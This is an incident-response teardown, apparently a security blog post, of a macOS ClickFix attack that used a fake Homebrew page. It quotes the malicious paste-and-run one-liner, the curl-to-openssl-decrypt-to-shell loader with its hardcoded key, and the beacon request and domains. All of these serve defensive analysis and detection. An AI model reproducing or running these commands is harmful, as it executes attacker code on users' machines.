Anatomy of a ClickFix infection: a fake Homebrew page, 541 milliseconds, and an EDR alert that got it wrong
A technical teardown of a macOS paste-and-run attack caught on a developer machine during setup: the fake install command, what the loader actually did millisecond by millisecond, an investigation of the operator behind it, and why the endpoint alert misread the whole thing.
TL;DR
- A macOS workstation triggered an EDR "Exfiltration Over Alternative
Protocol" detection (severity 60, MITRE
T1048) on a single blocked
curl. - The alert's impact statement was wrong in three ways. It called
curl"hijacked," read the outbound headers as leaked clipboard/credentials, and concluded "no data impact." - Reality:
curlwas invoked normally by a pasted shell one-liner. It was the last of 12 commands (22 processes) in a chain that already ran to completion: a payload was fetched from a second attacker domain, base64-decoded, hex-decoded, AES-128-CTR-decrypted with a hardcoded key, and the host was fingerprinted for sandbox evasion, all unblocked, inside 541 milliseconds before the beacon fired and got killed. - Root cause: a developer setting up a brand-new Mac searched for the
Homebrew install command, landed on
brewmacosterm[.]com(a pixel clone of the Homebrew site), and pasted the one-liner it served. That one-liner was a malware loader. ClickFix / paste-and-run: no security control was bypassed to reach the paste. - The
?event=pastedon the blocked request is the lure's funnel telemetry (the payload reporting the victim pasted), not exfiltrated clipboard data. - The EDR blocked the beacon, not the infection. T1048 caught the tail. Nothing detected the actual malicious primitive: a remote fetch piped through a decryption chain into a shell.
- Five domains were tracked, registered across three days, still live and rotating during the investigation. This post ends with an investigation of the operator: what the infrastructure tells us, and, just as importantly, what it does not (spoiler: this is commodity e-crime, not an APT).
If you take one thing from this: "blocked" is not "stopped," and you should be detecting the unwrap, not the exfil.
Background: what ClickFix is
ClickFix (a.k.a. paste-jacking, "paste-and-run," fake-CAPTCHA/"ClearFake"-style delivery) has largely displaced malicious documents as an initial-access vector through 2025-2026. The mechanics are trivial:
- The victim lands on an attacker-controlled page, via SEO poisoning, malvertising, a compromised site, or a fake "verify you are human" overlay.
- The page tells the victim to copy a command and paste it into a terminal (macOS/Linux) or the Run dialog / PowerShell (Windows), framed as "fixing" something.
- The victim runs it themselves.
There is no exploit, no browser-dropped binary, no signed-installer abuse. The
user is the delivery mechanism, and the command runs with their own privileges
from a shell they opened on purpose. Against developers it is devastatingly effective,
because curl ... | sh is a legitimate, everyday install pattern they
are conditioned not to think twice about.
This case is a near-perfect specimen, and it came with a bonus: the EDR fired, blocked part of it, and then auto-generated an alert narrative confidently describing something that did not happen.
The two commands, side by side
The whole incident turns on one pasted line. Here is the genuine Homebrew installer:
bash | what brew.sh serves# REAL: what brew.sh actually serves
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
And here is what the clone at brewmacosterm[.]com served:
# FAKE: what brewmacosterm[.]com served
echo "https://brew.sh" && curl -s $(echo "aHR0cHM6Ly9zYXRpbm1hcGxlNC5jb20vY3VybC90enJxMnR6ZWcvYWpsN3Q5NmQ4bG5rMDAyZDN1dWVhcHYudHh0" | openssl base64 -d -A) | zsh
That base64 blob decodes to:
decoded payload urlhttps://satinmaple4.com/curl/tzrq2tzeg/ajl7t96d8lnk002d3uueapv.txt
(The captured lure points at satinmaple4[.]com; the victim's actual run,
days earlier, resolved to anchorcoral10[.]com/curl/.../*.json. The lure rotates
its payload host. More on that below.)
The clone, visually
Side by side, above the fold, as a visitor sees them. The lure was captured with a macOS
User-Agent, because that is the only way to see it: anything else gets a
302 to google.com.
Three things are worth noticing in the pair. The clone is not an approximation: the logo, the tagline, the supports box, the Install Homebrew heading and both paragraphs under the command are the genuine page. What it drops is small and functional, the search field and the language selector, which are the two controls a visitor arriving to copy one command will never reach for.
The second is the command box itself. On the real site the destination is legible from
beginning to end, and it says raw.githubusercontent.com/Homebrew/install.
On the clone the string starts with a decoy echo "https://brew.sh" and then
runs out of box: the base64 is cut off mid-blob by an ellipsis. Someone who does read
before pasting sees a trusted URL at the start and no destination at all at the end.
The third is that the copy button is in the same place on both. The interaction the page is designed for, click copy and paste into a terminal, never shows the victim the part of the string that matters.
Full-page captures, for anyone who wants to compare further down: the genuine site and the clone.
Why the fake works, line by line
| Real Homebrew | Fake (brewmacosterm[.]com) | |
|---|---|---|
| Interpreter | bash |
zsh (the macOS default login shell) |
| Fetch flags | curl -fsSL (fail, silent, show-errors, follow) |
curl -s (silent only) |
| Destination | Readable, trusted:
raw.githubusercontent.com/Homebrew/install/... |
Obfuscated: a base64 blob resolving to a burner domain |
| Payload form | An auditable, open-source shell script | A .txt/.json served as a script, never shown to the
user |
| On disk | Script is fetched into memory by bash | Fileless: piped straight into zsh |
| Psychology | Command visibly names Homebrew's GitHub | echo "https://brew.sh" decoy prints a trusted URL,
hiding the real one |
Two design choices deserve a callout:
echo "https://brew.sh" && ...is pure misdirection. It does nothing functional; it prints the legitimate Homebrew URL to the terminal so a glancing user seeshttps://brew.shscroll past and feels reassured, while the real work happens after the&&.$(echo "<base64>" | openssl base64 -d -A)keeps the payload host out of the pasted text entirely. Anyone eyeballing their clipboard, or a naive paste-inspection tool, sees a base64 string, notsatinmaple4[.]com. It also lets the operator swap the destination per build without changing the visible command shape.
The result: curl -s <hidden-url> | zsh, a silent, fileless remote
fetch piped straight into the interactive shell. Structurally identical to a hundred
legitimate installers the developer had run that morning. Which is the whole point.
The alert that started it, and why it was wrong
The event that landed in the queue was a ProcessBlocked on a single
process:
curl -fsS -4 --connect-timeout 5 --max-time 10 -X POST \
-H 'user: <redacted>' -H 'BuildID: <redacted>' \
https://bridge-schema.com/api/metrics/run?event=pasted
Mapped to T1048: Exfiltration Over Alternative Protocol, an exfiltration pattern keyed to outbound POSTs. The generated impact statement said, in essence:
The legitimate/usr/bin/curlprocess was hijacked to exfiltrate data: encoded credentials in theuser/BuildIDheaders, a likely leak of clipboard contents (event=pasted); consistent with malware, a malicious extension, or a clipboard stealer. No direct operational or data impact at this stage.
Every clause is wrong or misleading:
| Alert said | Actually |
|---|---|
/usr/bin/curl was hijacked |
Not hijacked. Invoked normally by a pasted shell one-liner in an interactive
zsh. |
| Encoded credentials in headers -> clipboard leak | The headers are the campaign's victim ID and build
ID. ?event=pasted is funnel telemetry, not clipboard data.
No clipboard access appears anywhere in the tree. |
| "No data impact at this stage" | An unblocked fetch, decode, decrypt, and host fingerprint completed before the block. Limited, but not zero. |
| Likely a "browser extension or clipboard stealer" | Delivery was user-executed paste-and-run. No extension, no implant, no stealer was present. |
The clipboard reading is a genuinely easy trap, because event=pasted
does refer to pasting. But it describes what the victim pasted into the
terminal, not what the malware read out of the clipboard.
Direction matters. Getting it backwards turns a well-understood social-engineering chain
into an imaginary clipboard-stealer hunt.
To see why the alert is wrong, you have to stop looking at the blocked process and look at its ancestry.
Setting the scene: a brand-new Mac
Context is what makes this case legible. The affected machine was two days into
initial setup and the user was a developer with local admin. The
hour before the incident is textbook onboarding, and it is exactly why one more
curl ... | sh didn't stand out.
| Time (UTC, day of) | Event | Verdict |
|---|---|---|
| 13:13-13:16 | Chrome profile restored: 22 extensions incl. a password manager, a browser wallet | legitimate |
| 15:06:40 | a terminal emulator downloaded & unzipped from ~/Downloads |
legitimate bundle |
| 15:13:46 | Xcode Command Line Tools installed | legitimate |
| 15:15:27 | a desktop AI client downloaded | legitimate |
| 15:19:57 | curl to a Snazzy iTerm theme on github.com |
legitimate |
| 15:21:24 | curl | sh oh-my-zsh install (github.com) |
legitimate |
| 15:21:52 | Chrome connects to 172.67.131.178:443, an A-record
of brewmacosterm[.]com |
the lure, 8 s before the paste |
| 15:22:00 | The malicious paste executes | T0 |
Two legitimate curl|sh commands ran in the same shell in the three
minutes before the malicious one. The malicious paste was contextually
indistinguishable from the developer's own setup work. This is not a story about a
careless user; it is a story about a lure engineered to land in precisely this window.
The lure domain itself: brewmacosterm[.]com,
brew + macos + term, a name built to rank for
exactly "install Homebrew / set up terminal on macOS." Registered the same day at
11:15:42 UTC, roughly four hours before use, via
NiceNIC (HK) behind Cloudflare. VirusTotal at the time:
2 malicious / 86 clean. And it cloaks: a non-macOS
User-Agent gets a 302 to google.com; a macOS User-Agent gets the
payload page. (This is why an analyst's later urlscan.io check came back benign; see the
lessons.)
The execution: 541 milliseconds, command by command
One paste. The full chain (12 commands, 22 processes) executed on
/dev/ttys000 under zsh/zsh -l (the terminal emulator) in
541 ms: from T0 = 15:22:00.226 to the block at
15:22:00.767.
We reconstructed it by scoping the SIEM to the TTY, which collapses a busy dev laptop down to exactly what was typed or pasted into that terminal:
siem query#repo=base_sensor
| ComputerName=<HOST>
| "#event_simpleName"=/^(ProcessRollup2|ProcessBlocked)$/
| TtyName="/dev/ttys000"
| @timestamp > 1788188400000 | @timestamp < 1788190400000
| table([@timestamp, "#event_simpleName", ParentBaseFileName, CommandLine], limit=200)
| sort(@timestamp, order=asc, limit=200)
The precise timeline
| Delta from T0 | Wall clock (UTC) | Command | Blocked? |
|---|---|---|---|
| +0 ms | 15:22:00.226 | zsh subshell forked: the paste |
no |
| +130 ms | 15:22:00.356 | curl -s https://anchorcoral10.com/curl/.../*.json (payload fetch) |
no, succeeded |
| +130 ms | 15:22:00.356 | openssl base64 -d -A (outer decode, streaming) |
no |
| +157 ms | 15:22:00.383 | TCP established to 104.21.95.67:443; payload retrieved
(curl alive ~2.1 s) |
no |
| +309 ms | 15:22:00.535 | find ~/Library/Logs/DiagnosticReports -type f -name '*.ips' |
no |
| +321 ms | 15:22:00.547 | mkdir -p ~/Library/Caches/update_x7vd9r |
no |
| +464 ms | 15:22:00.690 | xxd -r -p | openssl enc -d -aes-128-ctr -K fd2c5e46...ece22270 -iv 0...0 |
gunzip |
no |
| +491 ms | 15:22:00.717 | sysctl -n hw.memsize (x2) |
no |
| +523 ms | 15:22:00.749 | id -u |
no |
| +532 ms | 15:22:00.758 | whoami |
no |
| +541 ms | 15:22:00.767 | curl -X POST ...
https://bridge-schema.com/api/metrics/run?event=pasted |
YES |
(Auxiliary helpers interleave as parsing and integrity steps: wc -l,
tr -d, date +%s, md5. The 12 above are the
spine.)
Walk-through: what each step does, and why
+0 ms: zsh subshell forked (the paste).
What: the pasted curl ... | zsh spawns a child zsh to run
the fetched script. How we know it's a paste: parent/grandparent are interactive
zsh/zsh -l on a real PTY (/dev/ttys000) under
the terminal emulator, a human typing or pasting, not a daemon. Why it matters: this is the fork
in the road between "developer ran an installer" and "developer ran a loader." Nothing
here looks abnormal yet.
+130 ms: curl -s ...anchorcoral10.com/...json + openssl base64 -d
-A. What: fetch the first-stage payload and begin unwrapping it.
Why the .json: pure cover: the response is not JSON, it's an
encrypted blob; the extension dodges naive content-type/extension controls. Why a
second domain: the lure page and the payload host are separated on
purpose (compartmentalization), so blocking the visible lure doesn't necessarily
kill delivery. anchorcoral10[.]com never appeared in the blocked event and is
invisible to any indicator-based search that starts from the alert.
+157 ms: TCP to 104.21.95.67:443, payload retrieved.
What: the fetch completes against a Cloudflare front. Why it matters:
the payload is now on the host, in memory, mid-pipe. Everything after this is local
processing of attacker-controlled bytes.
+309 ms: find .../DiagnosticReports -name '*.ips'.
What: count macOS crash reports. Why: anti-sandbox. A
real, daily-driven Mac accumulates dozens-to-hundreds of .ips diagnostic
reports; a freshly-spun analysis VM has ~none. It's a cheap, high-signal "is this a real
person's machine" test, run before committing to stage two.
+321 ms: mkdir -p ~/Library/Caches/update_x7vd9r.
What: create a staging directory. Why the name: update_*
under Caches blends into constant cache churn; the random suffix avoids
static-path detections. Outcome here: created and left empty:
the stage-2 write never happened.
+464 ms: xxd -r -p | openssl enc -d -aes-128-ctr -K ... -iv 0...0 |
gunzip. What: the second unwrap layer. The full reconstructed
pipeline is:
curl -s ...json | openssl base64 -d -A | xxd -r -p | openssl enc -d -aes-128-ctr -K fd2c5e46...ece22270 -iv 0...0 | gunzip
i.e. base64-decode -> hex-decode -> AES-128-CTR decrypt -> gunzip, the
exact reverse of gzip -> AES-encrypt -> hex-encode -> base64-encode. Why
it's the important step: this (a remote fetch decrypted in-line and handed to a
shell) is the malicious primitive, and it uses only living-off-the-land
binaries present on every Mac. The key travels with the command
(-K fd2c5e46..., a 128-bit key, with a null IV).
Cryptographically that's worthless secrecy (trivially reversible once you have the command
line), but the goal isn't secrecy, it's to keep the bytes opaque to signature/YARA
scanning on the wire and at rest. A companion md5 acts as an
integrity check so a partial/tampered download aborts cleanly.
+491 ms: sysctl -n hw.memsize (x2). What: read
physical RAM. Why: anti-VM. Sandboxes commonly ship 2-4 GB; a
dev laptop has 16-64 GB. A memory floor filters the cheap seats.
+523 / +532 ms: id -u | whoami.
What: read UID and username. Why: establish privilege and identity: both
to report home and, for many families, to branch on (escalate? which stage-2?). It ran as
UID 502, no sudo; local admin was not required by this
chain.
+541 ms: curl -X POST
...bridge-schema.com/api/metrics/run?event=pasted, BLOCKED. What:
the beacon. Carries the fingerprint results home under two opaque headers
(user: = victim ID, BuildID: = payload build). Why only this
line was blocked: the pattern is shaped to match an outbound POST to an
unknown host: it matched line 12 of 12. The loader that preceded
it (a remote fetch piped through openssl enc -d into a shell) matched
nothing. The EDR killed the phone-home; the infection had already
run.
The ?event=pasted tell, read correctly
bridge-schema[.]com/api/metrics/run?event=pasted is dressed as benign
analytics. ?event=pasted is the lure's conversion-funnel
event. A ClickFix page instruments page_view -> command_copied ->
pasted exactly like a growth team would, and this is the pasted step:
the payload confirming the victim actually pasted into a terminal. The
user:/BuildID: headers are campaign identifiers,
not exfiltrated data. The recon from the previous steps would have gone
home in a subsequent request that never fired, because this one was blocked.
So the corrected impact: the EDR killed the beacon; the infection (fetch, decode, decrypt, fingerprint) had already completed unblocked, ~2 seconds of attacker code in the user's session. The recon results never left the host, because the only egress attempt was the blocked beacon. No stage 2 retrieved, no files written, no persistence installed. Limited, but non-zero. And emphatically not "a clipboard stealer leaking credentials."
Campaign infrastructure
The alert named one domain. The chain named a second. OSINT tied together five domains registered across three days, a deliberately compartmentalized set:
| Domain | Registered (UTC) | Registrar | Cloudflare NS | Role | Status in incident |
|---|---|---|---|---|---|
anchorcoral10[.]com |
08-29 00:35 | Dominet (HK) | holly / mario |
payload delivery | contacted (unblocked) |
bridge-schema[.]com |
08-29 10:43 | Dominet (HK) | aisha / simon |
telemetry beacon | blocked (the alert) |
brewmacosterm[.]com |
08-31 11:15 | NiceNIC (HK) | derek / nia |
lure page | visited |
flint-32[.]com |
08-31 13:32 | Dominet (HK) | archer / raphaela |
from sandbox detonation | observed |
satinmaple4[.]com |
08-31 19:18 | Dominet (HK) | millie / wells |
from sandbox detonation | observed |
The cadence is the story: payload domains were pre-positioned
two days ahead, the lure was registered four hours before use,
and satinmaple4[.]com came up four hours after the
incident. The operator was actively rotating infrastructure while we
investigated.
Investigating the operator
The rest of this post turns the lens around: what can we responsibly infer about who ran this, from the infrastructure and tradecraft alone? The short version (and it directly answers the "is this an APT / what country?" question) is: this is commodity, financially-motivated e-crime, not a nation-state APT, and the operator's location is not determinable from what we hold. Here's the reasoning, with confidence stated for each claim.
1. The infrastructure is built to resist attribution
Every domain sits behind Cloudflare's free tier. The consequences:
- The true origin server IP is never exposed. Every A-record we
resolved is Cloudflare anycast (AS13335):
104.21.x/172.67.xfor the earlier domains, and188.114.96.2/188.114.97.2for bothflint-32andsatinmaple4. There is no non-Cloudflare hop to pivot on: the "ASN history" of these domains is Cloudflare, from birth. Any IP-based geolocation returns Cloudflare's datacenters, i.e. nothing about the operator. - Per-domain compartmentalization. Each domain carries a
distinct Cloudflare nameserver pair (
holly/mario,aisha/simon,derek/nia,archer/raphaela,millie/wells). Cloudflare assigns NS pairs per zone/account; five different pairs is consistent with the operator spreading domains across zones (plausibly separate accounts) so that no single takedown or account ban collapses the campaign. Roles are split too: lure, payload, and beacon sit on different domains, so blocking the noisy beacon (which is what the EDR saw) doesn't touch delivery.
Confidence: high that this is deliberate OPSEC. It is a mature operator, not a smash-and-grab.
2. The registrars point to cost and convenience, not a country
Two Hong Kong registrars: Dominet (HK) Limited (Alibaba Cloud's
registrar; WHOIS via grs-whois.aliyun.com) and NiceNIC International
Group (HK). Both are cheap, fast, low-friction, and heavily abused for disposable
registrations.
A trap to avoid: a Chinese/HK registrar does not imply a Chinese actor. Dominet/Alibaba and NiceNIC serve a global customer base; the registrant's real location is masked by WHOIS privacy and the registrar's own HK address. Registrar geography tells you where it was cheapest to buy a burner domain, not where the operator sits. Confidence: high that registrar != operator location.
3. The passive signals are thin, on purpose
- No CT-logged subdomains on any of the five (CertSpotter: none). They operate on bare apexes only, minimizing certificate-transparency footprint.
- No shared TLS-cert SANs stitching the set together: each domain is cryptographically isolated. The links between them are behavioral (registrar + Cloudflare-NS pattern + registration cadence + identical roles/paths), not certificate-based.
- VirusTotal, at investigation time:
brewmacosterm3/91 (Suspicious, Newly Registered),flint-324/91,satinmaple46/91,bridge-schema6/91,anchorcoral101/91. All low: a function of freshness, not safety. Reputation systems simply hadn't caught up.
4. The tradecraft matches a known ecosystem
The technique fingerprint is specific and well-documented in public reporting on 2025-2026 macOS campaigns:
- ClickFix + a fake developer-tool page (here, Homebrew) with
macOS-only User-Agent cloaking (payload to macOS,
302 -> google.comfor everyone else); curl | zshfileless delivery targeting developers;- an
openssl enc-based decrypt-and-run loader with anti-sandbox (.ipscrash-count) and anti-VM (hw.memsize) checks; - staging in
~/Library/Caches/and a funnel beacon.
This is the delivery signature of the macOS infostealer ecosystem: AMOS / Atomic macOS Stealer and its neighbours (Odyssey, Cuckoo, MacSync), which repeatedly use fake-Homebrew ClickFix pages to harvest Keychain, browser data, and crypto wallets. The presence of a password manager and a browser wallet on this victim's freshly-restored profile is exactly the prize that ecosystem targets. Confidence: medium at the ecosystem/technique level (the behaviors are a strong match); the payload itself was never recovered, so we cannot name the exact family.
5. Attribution verdict
About the Operator country, Unknown. Registrar = HK != operator. Hosting = Cloudflare anycast != operator. No language or timezone artifacts (payload not captured). AMOS-family kits are sold predominantly in Russian-speaking criminal markets, an inference about the toolkit's provenance, not proof of this operator's nationality.
The honest headline: we can classify the ecosystem with reasonable confidence and the operator not at all. Anyone who tells you "HK registrar => Chinese APT" is reading the tea leaves backwards.
6. What would actually move attribution forward
- Recover a payload from an isolated VM. The AES key and the URL were in cleartext in the command; a fetch-and-decrypt from a sandboxed VM in the first hours would have yielded the exact stealer family, its C2, and possibly build/campaign artifacts. That window has closed for this sample (see lessons), but it is the single highest-value next step for any live variant.
- Pivot on the pattern, not the indicators: hunt new registrations
sharing (Dominet/NiceNIC + Cloudflare NS-pair + fresh apex +
/curl/<token>/<token>.{txt,json}path). That composite is far more durable than any one domain. - Share into threat-intel communities: these domains are burn-after-use, but the pattern and the loader signature are reusable defensive gold.
Blast radius and impact
- One endpoint, one user. 30-day fleet-wide SIEM hunts across the estate on every
campaign string and IP (
brewmacosterm,anchorcoral10,bridge-schema,satinmaple4,flint-32,update_x7vd9r, the AES key) returned hits on this host only. - The "second host" was a false alarm, and it's worth being precise about
why. An early search surfaced another workstation with a DNS lookup for
bridge-schema[.]com, followed by lookups tourlscan.ioandgridinsoft.com. That footprint (a browser hitting the IOC and then two analysis sites, no shell chain) is analyst triage, not a victim. Confirmed, not assumed. - Data impact: bounded, but not formally excluded. Attacker code ran
for ~2 s. Telemetry shows host fingerprinting only
(
hw.memsizex2,id -u,whoami,.ipsenumeration) plus the empty staging dir. No observed access to Keychain, Chrome Login Data, cookies, or SSH material; no persistence; no outbound channel other than the blocked beacon. But the payload was never recovered, so we cannot state with certainty what stage 2 would have done, which is precisely why the response was rotate-and-wipe, not clean. - Mitigating: the machine held almost no corporate data yet. a password manager and a browser wallet were present (restored 13:13-13:16, before the incident) but no vault or wallet access was observed.
- User impact: about one working day. The laptop was network-contained and then factory reset. Credentials rotated: SSO password and sessions, and the SSH key generated on the machine that day.
Detection engineering: stop detecting the exfil
The EDR fired on the least important step. T1048 caught the
tail and blocked it (genuinely useful), but the actual malicious
primitive ran unimpeded: a remote fetch piped through a decryption chain into a
shell. It's also the weakest thing to key on; the operator can swap
curl for nc, change the endpoint, or move to a
differently-shaped beacon any time. What they cannot cheaply change is the
shape of the unwrap, because it's dictated by how the payload was
packed.
So the detection worth building keys on the unwrap, not the egress:
A process runningopenssl enc -dwith a command-line-K(hardcoded key), inside an interactive shell (TtyNameset), whose process-tree ancestry within ~1 s includes acurl/wgetto a non-allowlisted host.
That composite is vanishingly rare in benign activity and is the heart of every encrypted living-off-the-land loader. Supporting signals that raise confidence:
curl ... | openssl base64 -d ...orcurl ... | zsh/| shpiped chains from an interactive TTY;xxd -r -p | openssl enc -d ...| gunzipsequences;- host-fingerprint bursts (
sysctl hw.memsize,find ...DiagnosticReports -name '*.ips',id -u,whoami) clustered sub-second under one shell; - creation of
~/Library/Caches/<random>or~/Library/Application Support/<random>immediately after such a chain.
Concretely: if your exfiltration pattern only matches an outbound POST, it will not see this
chain at all. Evaluate a custom IOA on curl/wget output piped into a
shell interpreter or into openssl enc -d. Two supporting hunts are worth keeping as reusable queries: a persistence sweep
(update_x7vd9r / LaunchAgents / LaunchDaemons /
login items after T0) and a file-write sweep
(NewExecutableWritten / ScriptFileWritten under the staging
path). Both returned clean here, which is what let us assert the chain broke at the beacon
rather than hope it did.
Hard lessons
- "Blocked" is not "stopped." An assessment built on the block signal reads as
"no exfiltration, zero network contact", because the alert event is a
ProcessBlocked. It was the last of twelve commands. A prevention verdict reads as reassurance and closes an investigation early, precisely the case where the operator got a partial win and it's recorded as a full one.- Fix: for any endpoint process alert, dump every event +/-10
s around the alert timestamp at full fidelity (no exclusion filters, no row caps)
before filtering. Pivot on the timestamp, not on the
indicator in the alert. Here the malicious siblings contained no reference to
bridge-schema[.]comand were structurally invisible to an indicator-based search.
- Fix: for any endpoint process alert, dump every event +/-10
s around the alert timestamp at full fidelity (no exclusion filters, no row caps)
before filtering. Pivot on the timestamp, not on the
indicator in the alert. Here the malicious siblings contained no reference to
- A confident, well-formatted verdict is hard to challenge. An early
assessment built on the block signal reads as settled, and a settled verdict stops
attracting scrutiny. The mechanism worth noticing is that the correction here came
from continuing to pull the thread rather than from anyone re-reading the conclusion:
nothing in the process was asking whether the verdict was still right.
- What this argues for: a verdict that changes response posture (contain or not, compromised or not) is worth a second pair of eyes before it is published, for the same reason code is.
- A prevention verdict reads as reassurance. A detection that says "blocked" looks handled, so it can sit behind alerts that look unresolved. The triage priority of a high-severity prevention is worth setting deliberately, rather than letting the word "blocked" set it.
- Sandbox "Indicators" are not IOCs, and treating them as such can cause an
outage. The detonation report listed
static.cloudflareinsights.comand104.16.79.73; and188.114.96.2/188.114.97.2are the anycast A-records offlint-32/satinmaple4. Any fleet of reasonable size contacts that telemetry host constantly, and hits those anycast IPs for unrelated sites all day. Blocking either by IP breaks a large part of the web, fleet-wide.- Fix: mandatory fleet-prevalence check before any indicator enters a blocklist. Never block a CDN/anycast IP. Block campaign domains by name only.
- Cloaked lures return a false clean. The page serves the payload only
to a macOS UA and
302s everyone else to Google; VT scored 2/86. An analyst's urlscan.io check saw the benign redirect.- Fix: force a macOS User-Agent for suspected macOS lures; never accept a low VT score as exculpatory for a days-old domain.
- Device-level DNS tunnelling is a blind spot on macOS. Where a client
moves resolution off the host resolver, an endpoint agent can record
zero
DnsRequestevents for domains the machine demonstrably contacted. In this chain the lure was identified from rawNetworkConnectIP4destination IPs instead. Absence of a DNS hit clears nothing, and a domain-based hunt that returns empty on macOS may be describing the telemetry rather than the host.- What this argues for: know which component resolves names on your endpoints, and verify with a query that its logs reach the place you hunt from. That assumption is worth testing before an incident rather than during one.
- Recover the payload while you still can. The AES key and URL were in
cleartext; a fetch-and-detonate from an isolated VM in the first hours would have told
us exactly what ran. That window closed before the payload was recovered.
- Fix: add "retrieve and detonate the payload from an isolated VM" as an early, time-critical step in the endpoint-compromise runbook.
- Request takedowns. Five live, rotating domains across two registrars, and burn-after-use infrastructure moves faster than a takedown queue. Fix: one takedown request per domain, plus monitoring for new registrations on the same registrar/NS/cadence pattern.
- The targeting is precise and repeatable.
brew + macos + termtargets exactly a developer configuring a Mac, and every onboarding is a scheduled, predictable instance of that window. Where no canonical, vetted bootstrap path exists, setup commands come from open-web search by default.- What this argues for: a signed internal bootstrap script or a managed self-service catalog, so nobody has to google "install Homebrew."
- Local admin removed all friction. Not required by this chain (it ran as UID 502, no sudo), but it removes every guardrail on what can be installed. Local admin is worth weighing against that, on any fleet where developer setup is self-service.
What went well: the persistence sweep was exhaustive, not filtered (all 96 event types on the host, every macOS ASEP class, no exclusions), and wiping a machine with no confirmed persistence was the right call given the unrecovered payload.
Indicators of compromise
Block the domains. Treat every IP here as context only: several are shared CDN/anycast and blocking them will cause an outage.
| Type | Value | Note |
|---|---|---|
| Domain | brewmacosterm[.]com |
Lure: fake Homebrew page, macOS-UA cloaked (else 302 ->
google.com). |
| Domain | anchorcoral10[.]com |
Stage-1 payload host: curl -s
.../curl/<token>/<token>.json. |
| Domain | bridge-schema[.]com |
Beacon: POST /api/metrics/run?event=pasted,
user: + BuildID: headers. |
| Domain | satinmaple4[.]com |
Payload host (rotated build, the base64 in the captured lure). |
| Domain | flint-32[.]com |
Same campaign (Dominet + Cloudflare, shared anycast with satinmaple4). |
| URL path | /curl/<token>/<token>.{json,txt} |
Per-victim delivery URL; extension is cover for an AES-CTR blob. |
| URL path | /api/metrics/run?event=pasted |
ClickFix funnel "paste" callback. |
| SHA-256 | b636262803922ee1dd0fbf614818473ffa53c811e44fd3278c2270d3af4759d3 |
Payload/process artifact from the chain. |
| AES-128 key | fd2c5e4680d9a01dba3aada5ece22270 |
Hardcoded -K for openssl enc -d -aes-128-ctr, null
IV. |
| Registrar pivot | Dominet (HK) / NiceNIC (HK) + Cloudflare NS pair, apex created 08-29->08-31 | Hunt new registrations on this composite. |
| IP (DO NOT BLOCK) | 104.21.95.67, 172.67.143.123,
104.21.52.173, 172.67.201.147,
104.21.10.189, 172.67.131.178,
188.114.96.2, 188.114.97.2 |
Cloudflare anycast/fronting: shared with the open web. Context only. |
| IP (DO NOT BLOCK) | 104.16.79.73, static.cloudflareinsights.com |
Sandbox "indicators": benign Cloudflare telemetry, fleet-wide prevalence. |
Behavioral / host artifacts
- Staging dir:
~/Library/Caches/update_x7vd9r/(update_<random>under Caches). - Loader pipeline:
curl -s <url>.{json,txt} | openssl base64 -d -A | xxd -r -p | openssl enc -d -aes-128-ctr -K <hex> -iv 0...0 | gunzip. - Lure one-liner shape:
echo "https://brew.sh" && curl -s $(echo "<base64>" | openssl base64 -d -A) | zsh. - Recon burst under one TTY:
find ~/Library/Logs/DiagnosticReports -name '*.ips',sysctl -n hw.memsize,id -u,whoami. - Interactive-shell ancestry:
zsh->zsh -lon/dev/ttysNNNunder the terminal emulator.
Takeaways
- The blocked event is rarely the whole story. An EDR block is a point, not a timeline. Pull the process tree (scoped by TTY) before you believe the alert. The block was step 12 of 12.
- Read beacon parameters as the attacker's instrumentation, not as your data
leaking.
event=pastedis the campaign counting conversions. Direction matters. - ClickFix defeats "the user didn't download anything" reasoning. No dropped file, no exploit: the human is the delivery mechanism, executing at their own privilege.
- Detect the unwrap, not the exfil.
openssl enc -d -K ...downstream of acurlin an interactive shell is the durable signature. The egress is disposable. - Fresh domains are low-VT by newness, not safety, and cloaked lures scan clean unless you use a macOS UA. Registrar geography and anycast hosting tell you nothing about the operator.
- State hypotheses as hypotheses, and non-attribution as non-attribution. This is e-crime, not an APT; the ecosystem is knowable, the operator is not. Writing down which is which is what keeps a phantom nation-state (or a missed second infection) from hiding inside an assumption.